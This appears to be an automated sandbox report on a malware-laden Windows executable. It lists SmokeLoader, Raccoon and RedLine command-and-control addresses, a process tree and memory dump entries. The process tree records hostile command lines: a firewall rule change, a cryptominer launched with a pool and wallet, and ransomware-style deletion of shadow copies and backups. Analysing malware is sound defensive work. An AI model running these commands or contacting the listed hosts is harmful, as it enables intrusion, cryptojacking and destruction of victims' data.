Analysis

  • max time kernel
    126s
  • max time network
    185s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    29-08-2021 06:52

General

  • Target

    b3ce0c18ada128740bf0d409166b2b8f.exe

  • Size

    142KB

  • MD5

    b3ce0c18ada128740bf0d409166b2b8f

  • SHA1

    1a454c6a883c0499191f4bb576e0f0d9ebac8faa

  • SHA256

    16d43d657e2c50c681a5811c523ff27932259dd99e8b0ff64a3be9184c606e4f

  • SHA512

    2051bbab6d3cb34ab24f1e0b4aa8d397b62d353cdf30f39f56cd2cc8a165e0a68d4f3c4d4e1d5466974d80d0a3719ba41cd1aa04711bd7996acb446037d8c725

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforaugust1.xyz/

http://readinglistforaugust2.xyz/

http://readinglistforaugust3.xyz/

http://readinglistforaugust4.xyz/

http://readinglistforaugust5.xyz/

http://readinglistforaugust6.xyz/

http://readinglistforaugust7.xyz/

http://readinglistforaugust8.xyz/

http://readinglistforaugust9.xyz/

http://readinglistforaugust10.xyz/

http://readinglistforaugust1.site/

http://readinglistforaugust2.site/

http://readinglistforaugust3.site/

http://readinglistforaugust4.site/

http://readinglistforaugust5.site/

http://readinglistforaugust6.site/

http://readinglistforaugust7.site/

http://readinglistforaugust8.site/

http://readinglistforaugust9.site/

http://readinglistforaugust10.site/

rc4.i32
rc4.i32

Extracted

Family

raccoon

Botnet

fe582536ec580228180f270f7cb80a867860e010

Attributes
  • url4cnc

    https://telete.in/xylichanjk

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

d02c5d65069fc7ce1993e7c52edf0c9c4c195c81

Attributes
  • url4cnc

    https://telete.in/open3entershift

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

WORD1

C2

94.26.249.88:1902

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 10 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies data under HKEY_USERS 6 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b3ce0c18ada128740bf0d409166b2b8f.exe
    "C:\Users\Admin\AppData\Local\Temp\b3ce0c18ada128740bf0d409166b2b8f.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1860
    • C:\Users\Admin\AppData\Local\Temp\b3ce0c18ada128740bf0d409166b2b8f.exe
      "C:\Users\Admin\AppData\Local\Temp\b3ce0c18ada128740bf0d409166b2b8f.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1992
  • C:\Users\Admin\AppData\Local\Temp\92DD.exe
    C:\Users\Admin\AppData\Local\Temp\92DD.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:1108
  • C:\Users\Admin\AppData\Local\Temp\93B8.exe
    C:\Users\Admin\AppData\Local\Temp\93B8.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1660
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1660 -s 684
      2⤵
      • Loads dropped DLL
      • Program crash
      • Suspicious use of AdjustPrivilegeToken
      PID:1084
  • C:\Users\Admin\AppData\Local\Temp\957E.exe
    C:\Users\Admin\AppData\Local\Temp\957E.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:816
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\yopclvqm\
      2⤵
        PID:1080
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jokcadp.exe" C:\Windows\SysWOW64\yopclvqm\
        2⤵
          PID:1772
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create yopclvqm binPath= "C:\Windows\SysWOW64\yopclvqm\jokcadp.exe /d\"C:\Users\Admin\AppData\Local\Temp\957E.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:992
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description yopclvqm "wifi internet conection"
            2⤵
              PID:784
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start yopclvqm
              2⤵
                PID:1020
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1960
              • C:\Users\Admin\AppData\Local\Temp\9A7E.exe
                C:\Users\Admin\AppData\Local\Temp\9A7E.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Modifies system certificate store
                • Suspicious use of AdjustPrivilegeToken
                PID:304
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                  2⤵
                    PID:1612
                • C:\Windows\SysWOW64\yopclvqm\jokcadp.exe
                  C:\Windows\SysWOW64\yopclvqm\jokcadp.exe /d"C:\Users\Admin\AppData\Local\Temp\957E.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:608
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:824
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2328
                • C:\Users\Admin\AppData\Local\Temp\AAF3.exe
                  C:\Users\Admin\AppData\Local\Temp\AAF3.exe
                  1⤵
                  • Executes dropped EXE
                  • Checks BIOS information in registry
                  • Checks whether UAC is enabled
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of AdjustPrivilegeToken
                  PID:744
                • C:\Users\Admin\AppData\Local\Temp\B753.exe
                  C:\Users\Admin\AppData\Local\Temp\B753.exe
                  1⤵
                  • Executes dropped EXE
                  • Checks BIOS information in registry
                  • Checks whether UAC is enabled
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of AdjustPrivilegeToken
                  PID:628
                • C:\Users\Admin\AppData\Local\Temp\B8DA.exe
                  C:\Users\Admin\AppData\Local\Temp\B8DA.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Adds Run key to start application
                  • Modifies system certificate store
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1080
                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\csrss.exe
                    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\csrss.exe" -start
                    2⤵
                    • Executes dropped EXE
                    • Modifies system certificate store
                    PID:1676
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
                      3⤵
                        PID:2528
                        • C:\Windows\SysWOW64\vssadmin.exe
                          vssadmin delete shadows /all /quiet
                          4⤵
                          • Interacts with shadow copies
                          PID:2680
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\csrss.exe
                        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\csrss.exe" -agent 0
                        3⤵
                          PID:2556
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\~temp001.bat
                          3⤵
                            PID:2544
                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                              wmic shadowcopy delete
                              4⤵
                                PID:2688
                              • C:\Windows\SysWOW64\vssadmin.exe
                                vssadmin delete shadows /all /quiet
                                4⤵
                                • Interacts with shadow copies
                                PID:2852
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
                              3⤵
                                PID:2516
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
                                3⤵
                                  PID:2500
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
                                  3⤵
                                    PID:2480
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
                                    3⤵
                                      PID:2468
                                  • C:\Windows\SysWOW64\notepad.exe
                                    notepad.exe
                                    2⤵
                                      PID:1580
                                  • C:\Users\Admin\AppData\Local\Temp\BA80.exe
                                    C:\Users\Admin\AppData\Local\Temp\BA80.exe
                                    1⤵
                                    • Executes dropped EXE
                                    PID:668
                                  • C:\Windows\SysWOW64\explorer.exe
                                    C:\Windows\SysWOW64\explorer.exe
                                    1⤵
                                      PID:892
                                    • C:\Windows\explorer.exe
                                      C:\Windows\explorer.exe
                                      1⤵
                                        PID:816
                                      • C:\Windows\SysWOW64\explorer.exe
                                        C:\Windows\SysWOW64\explorer.exe
                                        1⤵
                                          PID:1416
                                        • C:\Windows\explorer.exe
                                          C:\Windows\explorer.exe
                                          1⤵
                                            PID:1632
                                          • C:\Windows\SysWOW64\explorer.exe
                                            C:\Windows\SysWOW64\explorer.exe
                                            1⤵
                                              PID:1640
                                            • C:\Windows\explorer.exe
                                              C:\Windows\explorer.exe
                                              1⤵
                                                PID:872
                                              • C:\Windows\SysWOW64\explorer.exe
                                                C:\Windows\SysWOW64\explorer.exe
                                                1⤵
                                                  PID:980
                                                • C:\Windows\explorer.exe
                                                  C:\Windows\explorer.exe
                                                  1⤵
                                                    PID:2148
                                                  • C:\Windows\SysWOW64\explorer.exe
                                                    C:\Windows\SysWOW64\explorer.exe
                                                    1⤵
                                                      PID:2180
                                                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                      wmic shadowcopy delete
                                                      1⤵
                                                        PID:2572
                                                      • C:\Windows\system32\vssvc.exe
                                                        C:\Windows\system32\vssvc.exe
                                                        1⤵
                                                          PID:2724

                                                        Network

                                                        MITRE ATT&CK Enterprise v6

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • memory/304-94-0x0000000000030000-0x0000000000031000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/304-142-0x0000000000670000-0x00000000006A1000-memory.dmp

                                                          Filesize

                                                          196KB

                                                        • memory/304-114-0x0000000004C40000-0x0000000004C41000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/608-105-0x0000000000400000-0x0000000001D75000-memory.dmp

                                                          Filesize

                                                          25.5MB

                                                        • memory/628-131-0x0000000001090000-0x0000000001091000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/628-125-0x0000000001140000-0x0000000001141000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/668-132-0x0000000000400000-0x0000000001DB7000-memory.dmp

                                                          Filesize

                                                          25.7MB

                                                        • memory/668-130-0x00000000002E0000-0x000000000036F000-memory.dmp

                                                          Filesize

                                                          572KB

                                                        • memory/744-110-0x0000000001360000-0x0000000001361000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/744-117-0x0000000005250000-0x0000000005251000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/816-85-0x0000000000220000-0x0000000000233000-memory.dmp

                                                          Filesize

                                                          76KB

                                                        • memory/816-138-0x0000000000060000-0x000000000006C000-memory.dmp

                                                          Filesize

                                                          48KB

                                                        • memory/816-86-0x0000000000400000-0x0000000001D75000-memory.dmp

                                                          Filesize

                                                          25.5MB

                                                        • memory/816-137-0x0000000000070000-0x0000000000077000-memory.dmp

                                                          Filesize

                                                          28KB

                                                        • memory/824-102-0x0000000000080000-0x0000000000095000-memory.dmp

                                                          Filesize

                                                          84KB

                                                        • memory/872-160-0x0000000000060000-0x000000000006C000-memory.dmp

                                                          Filesize

                                                          48KB

                                                        • memory/872-159-0x0000000000070000-0x0000000000076000-memory.dmp

                                                          Filesize

                                                          24KB

                                                        • memory/892-135-0x0000000000380000-0x00000000003F4000-memory.dmp

                                                          Filesize

                                                          464KB

                                                        • memory/892-136-0x0000000000310000-0x000000000037B000-memory.dmp

                                                          Filesize

                                                          428KB

                                                        • memory/892-133-0x0000000071A61000-0x0000000071A63000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/980-173-0x0000000000090000-0x0000000000094000-memory.dmp

                                                          Filesize

                                                          16KB

                                                        • memory/980-174-0x0000000000080000-0x0000000000089000-memory.dmp

                                                          Filesize

                                                          36KB

                                                        • memory/1084-97-0x0000000000260000-0x0000000000261000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/1228-64-0x0000000002A20000-0x0000000002A36000-memory.dmp

                                                          Filesize

                                                          88KB

                                                        • memory/1416-145-0x00000000000C0000-0x00000000000CB000-memory.dmp

                                                          Filesize

                                                          44KB

                                                        • memory/1416-144-0x00000000000D0000-0x00000000000D7000-memory.dmp

                                                          Filesize

                                                          28KB

                                                        • memory/1416-141-0x0000000070651000-0x0000000070653000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/1612-155-0x0000000001F60000-0x0000000001F61000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/1612-150-0x0000000000400000-0x0000000000420000-memory.dmp

                                                          Filesize

                                                          128KB

                                                        • memory/1612-148-0x0000000000400000-0x0000000000420000-memory.dmp

                                                          Filesize

                                                          128KB

                                                        • memory/1632-147-0x0000000000060000-0x000000000006F000-memory.dmp

                                                          Filesize

                                                          60KB

                                                        • memory/1632-146-0x0000000000070000-0x0000000000079000-memory.dmp

                                                          Filesize

                                                          36KB

                                                        • memory/1640-157-0x0000000000080000-0x0000000000089000-memory.dmp

                                                          Filesize

                                                          36KB

                                                        • memory/1640-156-0x0000000000090000-0x0000000000095000-memory.dmp

                                                          Filesize

                                                          20KB

                                                        • memory/1660-84-0x0000000000400000-0x0000000001DB7000-memory.dmp

                                                          Filesize

                                                          25.7MB

                                                        • memory/1660-73-0x0000000000340000-0x00000000003CF000-memory.dmp

                                                          Filesize

                                                          572KB

                                                        • memory/1860-63-0x00000000001B0000-0x00000000001BA000-memory.dmp

                                                          Filesize

                                                          40KB

                                                        • memory/1992-60-0x0000000000400000-0x0000000000409000-memory.dmp

                                                          Filesize

                                                          36KB

                                                        • memory/1992-62-0x0000000075B31000-0x0000000075B33000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/2148-185-0x0000000000060000-0x0000000000069000-memory.dmp

                                                          Filesize

                                                          36KB

                                                        • memory/2148-184-0x0000000000070000-0x0000000000075000-memory.dmp

                                                          Filesize

                                                          20KB

                                                        • memory/2180-190-0x0000000000080000-0x0000000000089000-memory.dmp

                                                          Filesize

                                                          36KB

                                                        • memory/2180-189-0x0000000000090000-0x0000000000095000-memory.dmp

                                                          Filesize

                                                          20KB

                                                        • memory/2328-191-0x00000000002B0000-0x00000000003A1000-memory.dmp

                                                          Filesize

                                                          964KB